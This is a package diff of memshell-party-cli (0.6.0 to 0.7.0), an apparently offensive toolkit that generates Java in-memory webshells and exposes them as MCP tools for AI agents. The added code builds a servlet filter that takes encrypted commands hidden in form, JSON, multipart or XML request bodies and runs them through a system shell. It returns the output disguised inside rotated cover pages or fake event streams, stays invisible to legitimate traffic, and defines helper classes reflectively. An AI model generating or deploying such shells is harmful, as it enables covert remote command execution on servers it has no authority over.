memshell-party-cli 0.6.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.ts CHANGED
@@ -149,6 +149,12 @@ declare class MemPartyClient {
149
149
  getPackerTree(): Promise<PackerTree>;
150
150
  getPackers(): Promise<string[]>;
151
151
  getCommandConfigs(): Promise<CommandConfigVO>;
152
+ /**
153
+ * Servers the ResponseBody probe can write a response on.
154
+ * Only exists on backend >= 2.9.0 — callers should fall back to the full
155
+ * server list when this endpoint 404s.
156
+ */
157
+ getProbeResponseBodyServers(): Promise<string[]>;
152
158
  getVersion(): Promise<VersionInfo>;
153
159
  generateMemShell(req: MemShellGenerateRequest): Promise<MemShellGenerateResponse>;
154
160
  generateProbe(req: ProbeShellGenerateRequest): Promise<ProbeShellGenerateResponse>;
@@ -476,9 +482,15 @@ declare function execGodzilla(url: string, pass: string, key: string, command: s
476
482
  interface ProfileTemplate {
477
483
  /** <title> of this page (metadata — the template is used verbatim). */
478
484
  title: string;
479
- /** Full HTML of a real page on the site (a response skin). */
485
+ /**
486
+ * Full body of a real response on the site (a response skin). Any text
487
+ * format is allowed — HTML, JSON, XML, JS… When it contains the literal
488
+ * placeholder `{{payload}}`, the ciphertext is substituted exactly there
489
+ * (works for every format); without a placeholder the template must be an
490
+ * HTML page and the cipher's marker fragment is injected before </body>.
491
+ */
480
492
  template: string;
481
- /** Content-Type this page is served with. */
493
+ /** Content-Type this page is served with (the shell answers with it). */
482
494
  contentType: string;
483
495
  /** Relative rotation weight (default 1). */
484
496
  weight?: number;
@@ -502,8 +514,25 @@ interface ProfileRequest {
502
514
  secretField: string;
503
515
  /** Where the ciphertext goes: form body (default), URL query, or a header. */
504
516
  secretIn?: "body" | "query" | "header";
517
+ /**
518
+ * Body serialization when secretIn=body: "form" (default, url-encoded) or
519
+ * "json" (a JSON object with Content-Type application/json — for API sites
520
+ * whose dominant traffic is JSON XHR). Ignored when bodyTemplate is set.
521
+ */
522
+ bodyStyle?: "form" | "json";
523
+ /**
524
+ * Full request body with the literal placeholder `{{payload}}` where the
525
+ * ciphertext goes (takes precedence over bodyStyle; secretIn must be body).
526
+ * Any text format — an OpenAI-style chat JSON, a GraphQL envelope, an XML
527
+ * SOAP message, a multipart/form-data body (pair it with a Content-Type
528
+ * header carrying the same boundary). Decoy macros {{hex:N}}, {{b64:N}},
529
+ * {{uuid}}, {{ts}}, {{int:A:B}} are rendered per request.
530
+ */
531
+ bodyTemplate?: string;
505
532
  /** Decoy fields sent alongside (e.g. csrftoken/j_username/agreement). */
506
533
  fields?: ProfileFormField[];
534
+ /** Extra/override request headers for this shape (e.g. Accept). */
535
+ headers?: Record<string, string>;
507
536
  /** Relative rotation weight (default 1) when `request` is an array. */
508
537
  weight?: number;
509
538
  }
@@ -659,9 +688,29 @@ interface FilterTemplateOptions {
659
688
  secret: string;
660
689
  /** Carrier field names (form fields / headers) that may hold the ciphertext. */
661
690
  fields: string[];
662
- /** Cover pages from the site profile (raw HTML, rotated per response). */
663
- templates: string[];
691
+ /**
692
+ * Lowercase Content-Type needles (contains-match): the body is read only
693
+ * when its Content-Type matches one — derived from the profile's body
694
+ * shapes. Empty = never touch the body stream: reading a body the shell
695
+ * doesn't own consumes it and breaks the app behind us.
696
+ */
697
+ bodyContentTypes: string[];
698
+ /** Cover bodies from the site profile (rotated per response, each with its contentType). */
699
+ templates: Array<{
700
+ template: string;
701
+ contentType: string;
702
+ }>;
664
703
  cipher: MimicCipher;
704
+ /**
705
+ * Base64 bytes of the body-wrapper classes (renderWrapperJava, compiled by
706
+ * the build's first phase). The filter self-defines them at runtime so the
707
+ * uploaded shell stays a single self-contained class — MemShellParty's
708
+ * Custom generator can only resolve one class.
709
+ */
710
+ wrapper: {
711
+ bodyB64: string;
712
+ streamB64: string;
713
+ };
665
714
  }
666
715
  declare function renderFilterJava(opts: FilterTemplateOptions): string;
667
716
  declare function renderCryptoProbe(cipher: MimicCipher): string;
package/dist/index.js CHANGED
@@ -41,6 +41,14 @@ var MemPartyClient = class {
41
41
  getCommandConfigs() {
42
42
  return this.request("GET", "/api/config/command/configs");
43
43
  }
44
+ /**
45
+ * Servers the ResponseBody probe can write a response on.
46
+ * Only exists on backend >= 2.9.0 — callers should fall back to the full
47
+ * server list when this endpoint 404s.
48
+ */
49
+ getProbeResponseBodyServers() {
50
+ return this.request("GET", "/api/config/probe/response-body/servers");
51
+ }
44
52
  getVersion() {
45
53
  return this.request("GET", "/api/version");
46
54
  }
@@ -256,6 +264,21 @@ function emitPayload(payload, opts, sinks = {}) {
256
264
  `);
257
265
  return { destination: "stdout", size: payload.length, decoded: false };
258
266
  }
267
+ function hasMultiplePackResults(r) {
268
+ return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
269
+ }
270
+ function emitSinglePackResult(r, opts, sinks = {}) {
271
+ if (hasMultiplePackResults(r)) {
272
+ const n = Object.keys(r.allPackResults).length;
273
+ throw new Error(
274
+ `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
275
+ );
276
+ }
277
+ if (r.packResult === void 0) {
278
+ throw new Error("Server returned no packResult.");
279
+ }
280
+ return emitPayload(r.packResult, opts, sinks);
281
+ }
259
282
 
260
283
  // src/core/config.ts
261
284
  import { readFileSync } from "fs";
@@ -1933,7 +1956,10 @@ var memShellInput = {
1933
1956
  shellClassBase64: z.string().optional(),
1934
1957
  urlPattern: z.string().optional(),
1935
1958
  injectorClassName: z.string().optional(),
1936
- staticInitialize: z.boolean().optional()
1959
+ staticInitialize: z.boolean().optional(),
1960
+ outputFile: z.string().optional().describe(
1961
+ "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
1962
+ )
1937
1963
  };
1938
1964
  var probeInput = {
1939
1965
  probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
@@ -1951,7 +1977,8 @@ var probeInput = {
1951
1977
  sleepServer: z.string().optional(),
1952
1978
  server: z.string().optional(),
1953
1979
  reqParamName: z.string().optional(),
1954
- commandTemplate: z.string().optional()
1980
+ commandTemplate: z.string().optional(),
1981
+ outputFile: memShellInput.outputFile
1955
1982
  };
1956
1983
  var connectInput = {
1957
1984
  name: z.string().optional().describe(
@@ -2079,7 +2106,11 @@ function createMcpServer(client) {
2079
2106
  );
2080
2107
  server.registerTool(
2081
2108
  "generate_memshell",
2082
- { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
2109
+ {
2110
+ title: "Generate memory shell",
2111
+ description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
2112
+ inputSchema: memShellInput
2113
+ },
2083
2114
  async (args) => {
2084
2115
  const meta = {
2085
2116
  server: args.server,
@@ -2092,6 +2123,7 @@ function createMcpServer(client) {
2092
2123
  const started = Date.now();
2093
2124
  try {
2094
2125
  const response = await client.generateMemShell(buildMemShellRequest(args));
2126
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2095
2127
  logOp({
2096
2128
  category: "gen",
2097
2129
  action: "gen",
@@ -2100,7 +2132,7 @@ function createMcpServer(client) {
2100
2132
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
2101
2133
  meta
2102
2134
  });
2103
- return jsonContent(response);
2135
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
2104
2136
  } catch (err) {
2105
2137
  logOp({
2106
2138
  category: "gen",
@@ -2116,7 +2148,11 @@ function createMcpServer(client) {
2116
2148
  );
2117
2149
  server.registerTool(
2118
2150
  "generate_probe",
2119
- { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
2151
+ {
2152
+ title: "Generate probe shell",
2153
+ description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
2154
+ inputSchema: probeInput
2155
+ },
2120
2156
  async (args) => {
2121
2157
  const meta = {
2122
2158
  probeMethod: args.probeMethod,
@@ -2127,6 +2163,7 @@ function createMcpServer(client) {
2127
2163
  const started = Date.now();
2128
2164
  try {
2129
2165
  const response = await client.generateProbe(buildProbeRequest(args));
2166
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2130
2167
  logOp({
2131
2168
  category: "probe",
2132
2169
  action: "probe",
@@ -2135,7 +2172,7 @@ function createMcpServer(client) {
2135
2172
  detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
2136
2173
  meta
2137
2174
  });
2138
- return jsonContent(response);
2175
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
2139
2176
  } catch (err) {
2140
2177
  logOp({
2141
2178
  category: "probe",
@@ -2664,6 +2701,13 @@ import { join as join6 } from "path";
2664
2701
  import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
2665
2702
  import { homedir as homedir4 } from "os";
2666
2703
  import { join as join5 } from "path";
2704
+ function inferBodyTemplateContentType(bodyTemplate) {
2705
+ const t = bodyTemplate.trimStart();
2706
+ if (t.startsWith("--")) return "multipart/form-data";
2707
+ if (t.startsWith("{") || t.startsWith("[")) return "application/json";
2708
+ if (t.startsWith("<")) return "text/xml";
2709
+ return null;
2710
+ }
2667
2711
  function profileTemplates(profile) {
2668
2712
  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
2669
2713
  return profile.templates;
@@ -2685,9 +2729,98 @@ function profileRequests(profile) {
2685
2729
  }
2686
2730
 
2687
2731
  // src/custom/java-template.ts
2732
+ function renderWrapperJava() {
2733
+ return `package mimic;
2734
+
2735
+ import java.io.*;
2736
+ import javax.servlet.*;
2737
+ import javax.servlet.http.*;
2738
+
2739
+ /** Re-exposes a consumed request body to downstream filters/servlets. */
2740
+ public class CachedBody extends HttpServletRequestWrapper {
2741
+ private final byte[] body;
2742
+
2743
+ public CachedBody(HttpServletRequest req, byte[] body) {
2744
+ super(req);
2745
+ this.body = body;
2746
+ }
2747
+
2748
+ public ServletInputStream getInputStream() {
2749
+ return new Stream(body);
2750
+ }
2751
+
2752
+ public BufferedReader getReader() {
2753
+ return new BufferedReader(new InputStreamReader(getInputStream()));
2754
+ }
2755
+
2756
+ static class Stream extends ServletInputStream {
2757
+ private final ByteArrayInputStream in;
2758
+
2759
+ Stream(byte[] body) {
2760
+ this.in = new ByteArrayInputStream(body);
2761
+ }
2762
+
2763
+ public int read() {
2764
+ return in.read();
2765
+ }
2766
+
2767
+ public boolean isFinished() {
2768
+ return in.available() == 0;
2769
+ }
2770
+
2771
+ public boolean isReady() {
2772
+ return true;
2773
+ }
2774
+
2775
+ public void setReadListener(ReadListener l) {}
2776
+ }
2777
+ }
2778
+ `;
2779
+ }
2688
2780
  function javaStringLiteral(s) {
2689
2781
  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2690
2782
  }
2783
+ function wrapperLoaderMethods(opts) {
2784
+ return `
2785
+ /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
2786
+ uploaded shell stays a single self-contained class file */
2787
+ static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
2788
+ static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
2789
+
2790
+ static Class<?> forNameQuiet(String name, ClassLoader cl) {
2791
+ try {
2792
+ return Class.forName(name, true, cl);
2793
+ } catch (Throwable t) {
2794
+ return null;
2795
+ }
2796
+ }
2797
+
2798
+ static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
2799
+ try {
2800
+ java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
2801
+ String.class, byte[].class, int.class, int.class);
2802
+ m.setAccessible(true);
2803
+ byte[] bytes = java.util.Base64.getDecoder().decode(b64);
2804
+ return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
2805
+ } catch (Throwable t) {
2806
+ return null; // another shell in this JVM already defined it
2807
+ }
2808
+ }
2809
+
2810
+ /** Wrap the request so downstream code can re-read the JSON body we consumed. */
2811
+ static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
2812
+ ClassLoader cl = ${opts.className}.class.getClassLoader();
2813
+ Class<?> c = forNameQuiet("mimic.CachedBody", cl);
2814
+ if (c == null) {
2815
+ defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
2816
+ c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
2817
+ if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
2818
+ }
2819
+ return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
2820
+ .newInstance(req, body);
2821
+ }
2822
+ `;
2823
+ }
2691
2824
  var MD5_METHOD = String.raw`
2692
2825
  static String md5Hex(String s) throws Exception {
2693
2826
  MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2823,9 +2956,11 @@ function sharedMethods(cipher) {
2823
2956
  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2824
2957
  }
2825
2958
  function renderFilterJava(opts) {
2826
- const { className, pass, secret, fields, templates, cipher } = opts;
2959
+ const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
2827
2960
  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2828
- const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
2961
+ const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
2962
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
2963
+ const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
2829
2964
  return `package mimic;
2830
2965
 
2831
2966
  import java.io.*;
@@ -2840,37 +2975,120 @@ import javax.servlet.http.*;
2840
2975
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
2841
2976
  * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2842
2977
  *
2843
- * Detection uses getParameter()/getHeader() only, never reads the body
2844
- * stream: form posts are parsed+cached by the container so downstream
2845
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
2846
- * untouched body stream for the shell behind us. Anything that is not ours
2847
- * falls through chain.doFilter; any error answers with the cover page.
2978
+ * Detection uses getParameter()/getHeader() first, never touching the body
2979
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
2980
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
2981
+ * still see the body. Anything that is not ours falls through chain.doFilter;
2982
+ * any error answers with the plain cover template.
2848
2983
  */
2849
2984
  public class ${className} implements Filter {
2850
2985
  /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2851
2986
  static final String[] FIELDS = { ${fieldsJava} };
2987
+ /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
2988
+ static final String[] BODY_CTS = { ${bodyCtsJava} };
2852
2989
  /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2853
2990
  static final String PASS = "${javaStringLiteral(pass)}";
2854
2991
  static final String SECRET = "${javaStringLiteral(secret)}";
2855
- /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
2992
+ /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
2856
2993
  static final String[] TPLS = {
2857
2994
  ${tplsJava}
2858
2995
  };
2996
+ /** Content-Type of each cover body (parallel to TPLS). */
2997
+ static final String[] CTS = { ${ctsJava} };
2859
2998
 
2860
2999
  public void init(FilterConfig filterConfig) {}
2861
3000
  public void destroy() {}
2862
3001
  ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
3002
+ static byte[] readAll(InputStream in) throws IOException {
3003
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
3004
+ byte[] buf = new byte[8192];
3005
+ int n;
3006
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
3007
+ return bos.toByteArray();
3008
+ }
3009
+
3010
+ /** read the body only when its Content-Type is one the profile actually uses */
3011
+ static boolean ctMatches(String ct) {
3012
+ String l = ct.toLowerCase();
3013
+ for (String n : BODY_CTS) if (l.contains(n)) return true;
3014
+ return false;
3015
+ }
3016
+
3017
+ /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
3018
+ static String jsonField(String body, String field) {
3019
+ String needle = "\\"" + field + "\\"";
3020
+ int i = body.indexOf(needle);
3021
+ if (i < 0) return null;
3022
+ int colon = body.indexOf(':', i + needle.length());
3023
+ if (colon < 0) return null;
3024
+ int q1 = body.indexOf('"', colon + 1);
3025
+ if (q1 < 0) return null;
3026
+ int q2 = body.indexOf('"', q1 + 1);
3027
+ if (q2 < 0) return null;
3028
+ return body.substring(q1 + 1, q2);
3029
+ }
3030
+
3031
+ /** minimal multipart extraction: the value follows the part headers of name="field" */
3032
+ static String multipartField(String body, String field) {
3033
+ String needle = "name=\\"" + field + "\\"";
3034
+ int i = body.indexOf(needle);
3035
+ if (i < 0) return null;
3036
+ int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
3037
+ int sepLen = 4;
3038
+ if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
3039
+ if (sep < 0) return null;
3040
+ int start = sep + sepLen;
3041
+ int end = body.indexOf('\\n', start);
3042
+ if (end < 0) end = body.length();
3043
+ String v = body.substring(start, end).trim();
3044
+ return v.isEmpty() ? null : v;
3045
+ }
3046
+
3047
+ /** minimal XML extraction: <field>value</field> */
3048
+ static String xmlField(String body, String field) {
3049
+ String open = "<" + field + ">";
3050
+ int i = body.indexOf(open);
3051
+ if (i < 0) return null;
3052
+ int start = i + open.length();
3053
+ int end = body.indexOf("</" + field + ">", start);
3054
+ if (end < 0) return null;
3055
+ return body.substring(start, end);
3056
+ }
3057
+ ${wrapperLoaderMethods(opts)}
2863
3058
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2864
3059
  throws IOException, ServletException {
3060
+ HttpServletRequest httpReq = request instanceof HttpServletRequest
3061
+ ? (HttpServletRequest) request : null;
2865
3062
  String value = null;
2866
3063
  for (String f : FIELDS) {
2867
3064
  value = request.getParameter(f);
2868
- if (value == null && request instanceof HttpServletRequest) {
3065
+ if (value == null && httpReq != null) {
2869
3066
  // secretIn=header: the ciphertext may ride a header instead of a form field
2870
- value = ((HttpServletRequest) request).getHeader(f);
3067
+ value = httpReq.getHeader(f);
2871
3068
  }
2872
3069
  if (value != null) break;
2873
3070
  }
3071
+ if (value == null && httpReq != null) {
3072
+ // the ciphertext may ride a raw body of any bodyTemplate shape
3073
+ // (JSON / multipart / XML\u2026). Read it once and re-expose it
3074
+ // downstream via the caching wrapper.
3075
+ String ct = httpReq.getContentType();
3076
+ if (ct != null && ctMatches(ct)) {
3077
+ try {
3078
+ byte[] bodyBytes = readAll(httpReq.getInputStream());
3079
+ String bodyText = new String(bodyBytes, "UTF-8");
3080
+ for (String f : FIELDS) {
3081
+ value = jsonField(bodyText, f);
3082
+ if (value == null) value = multipartField(bodyText, f);
3083
+ if (value == null) value = xmlField(bodyText, f);
3084
+ if (value != null) break;
3085
+ }
3086
+ request = wrapBody(httpReq, bodyBytes);
3087
+ } catch (Throwable wrapperFailed) {
3088
+ // the body is already consumed \u2014 pass through as-is
3089
+ }
3090
+ }
3091
+ }
2874
3092
  if (value == null) {
2875
3093
  chain.doFilter(request, response);
2876
3094
  return;
@@ -2882,11 +3100,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2882
3100
  cmd = decryptField(value, aesKey);
2883
3101
  } catch (Exception notOurs) {
2884
3102
  // the field exists but doesn't decrypt \u2014 this is someone else's
2885
- // legitimate form (e.g. the real login POST), stay invisible
3103
+ // legitimate request (e.g. the real login POST), stay invisible
2886
3104
  chain.doFilter(request, response);
2887
3105
  return;
2888
3106
  }
2889
- String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
3107
+ int ti = new java.util.Random().nextInt(TPLS.length);
3108
+ String tpl = TPLS[ti];
3109
+ String tplCt = CTS[ti];
2890
3110
  try {
2891
3111
  String command = new String(cmd, "UTF-8");
2892
3112
  boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2895,22 +3115,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2895
3115
  : new ProcessBuilder("/bin/sh", "-c", command);
2896
3116
  pb.redirectErrorStream(true);
2897
3117
  Process proc = pb.start();
2898
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
2899
- InputStream in = proc.getInputStream();
2900
- byte[] buf = new byte[8192];
2901
- int n;
2902
- while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2903
3118
  proc.waitFor();
2904
- String payload = encryptField(bos.toByteArray(), aesKey);
2905
- String fragment = wrapPayload(payload, PASS + SECRET);
2906
- int idx = tpl.toLowerCase().lastIndexOf("</body>");
2907
- String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2908
- response.setContentType("text/html;charset=UTF-8");
3119
+ String payload = encryptField(readAll(proc.getInputStream()), aesKey);
3120
+ String page;
3121
+ if (tpl.contains("{{payload}}")) {
3122
+ // placeholder template (any text format): substitute exactly there
3123
+ page = tpl.replace("{{payload}}", payload);
3124
+ } else {
3125
+ String fragment = wrapPayload(payload, PASS + SECRET);
3126
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
3127
+ page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
3128
+ }
3129
+ response.setContentType(tplCt);
2909
3130
  response.setCharacterEncoding("UTF-8");
2910
- response.getWriter().write(page);
3131
+ if (tplCt.contains("event-stream")) {
3132
+ // flush chunk by chunk \u2014 a real SSE endpoint streams, a
3133
+ // one-shot body is the wrong shape on the wire
3134
+ java.io.PrintWriter w = response.getWriter();
3135
+ for (String chunk : page.split("\\n\\n", -1)) {
3136
+ if (chunk.isEmpty()) continue;
3137
+ w.write(chunk);
3138
+ w.write("\\n\\n");
3139
+ w.flush();
3140
+ response.flushBuffer();
3141
+ try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
3142
+ }
3143
+ } else {
3144
+ response.getWriter().write(page);
3145
+ }
2911
3146
  } catch (Exception e) {
2912
- // behave like the cover page on any error \u2014 stay quiet
2913
- response.setContentType("text/html;charset=UTF-8");
3147
+ // behave like the cover body on any error \u2014 stay quiet
3148
+ response.setContentType(tplCt);
2914
3149
  response.getWriter().write(tpl);
2915
3150
  }
2916
3151
  }
@@ -3005,6 +3240,29 @@ function profileSecretFields(profile) {
3005
3240
  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
3006
3241
  return fields.length > 0 ? fields : ["pass"];
3007
3242
  }
3243
+ function ctNeedle(ct) {
3244
+ const media = ct.toLowerCase().split(";", 1)[0].trim();
3245
+ if (media.includes("json")) return "json";
3246
+ if (media.includes("multipart")) return "multipart";
3247
+ if (media.includes("xml")) return "xml";
3248
+ return media;
3249
+ }
3250
+ function profileBodyContentTypes(profile) {
3251
+ const needles = /* @__PURE__ */ new Set();
3252
+ for (const r of profileRequests(profile)) {
3253
+ if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
3254
+ if (r.bodyTemplate !== void 0) {
3255
+ const explicit = Object.entries(r.headers ?? {}).find(
3256
+ ([k]) => k.toLowerCase() === "content-type"
3257
+ )?.[1];
3258
+ const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
3259
+ if (ct) needles.add(ctNeedle(ct));
3260
+ } else if (r.bodyStyle === "json") {
3261
+ needles.add("json");
3262
+ }
3263
+ }
3264
+ return [...needles];
3265
+ }
3008
3266
  function defaultClassName() {
3009
3267
  return `MimicFilter${randomString(4)}`;
3010
3268
  }
@@ -3016,20 +3274,32 @@ async function buildCustomMemshell(input, client, deps = {}) {
3016
3274
  const urlPattern = input.urlPattern ?? "/*";
3017
3275
  const packer = input.packer ?? "DefaultBase64";
3018
3276
  const cipher = resolveCipher(input.profile.cipher);
3019
- const templates = profileTemplates(input.profile).map((t) => t.template);
3277
+ const templates = profileTemplates(input.profile).map((t) => ({
3278
+ template: t.template,
3279
+ contentType: t.contentType
3280
+ }));
3020
3281
  if (templates.length === 0) {
3021
3282
  throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
3022
3283
  }
3023
3284
  const outDir = input.outDir;
3024
3285
  const packageDir = join6(outDir, "mimic");
3025
3286
  mkdirSync4(packageDir, { recursive: true });
3287
+ const wrapperFile = join6(packageDir, "CachedBody.java");
3288
+ writeFileSync5(wrapperFile, renderWrapperJava(), "utf8");
3289
+ compile([wrapperFile], outDir, { classpath: [jarOf()] });
3290
+ const wrapper = {
3291
+ bodyB64: readFileSync6(join6(packageDir, "CachedBody.class")).toString("base64"),
3292
+ streamB64: readFileSync6(join6(packageDir, "CachedBody$Stream.class")).toString("base64")
3293
+ };
3026
3294
  const javaSource = renderFilterJava({
3027
3295
  className,
3028
3296
  pass: input.pass,
3029
3297
  secret: input.secret,
3030
3298
  fields: profileSecretFields(input.profile),
3299
+ bodyContentTypes: profileBodyContentTypes(input.profile),
3031
3300
  templates,
3032
- cipher
3301
+ cipher,
3302
+ wrapper
3033
3303
  });
3034
3304
  const javaFile = join6(packageDir, `${className}.java`);
3035
3305
  writeFileSync5(javaFile, javaSource, "utf8");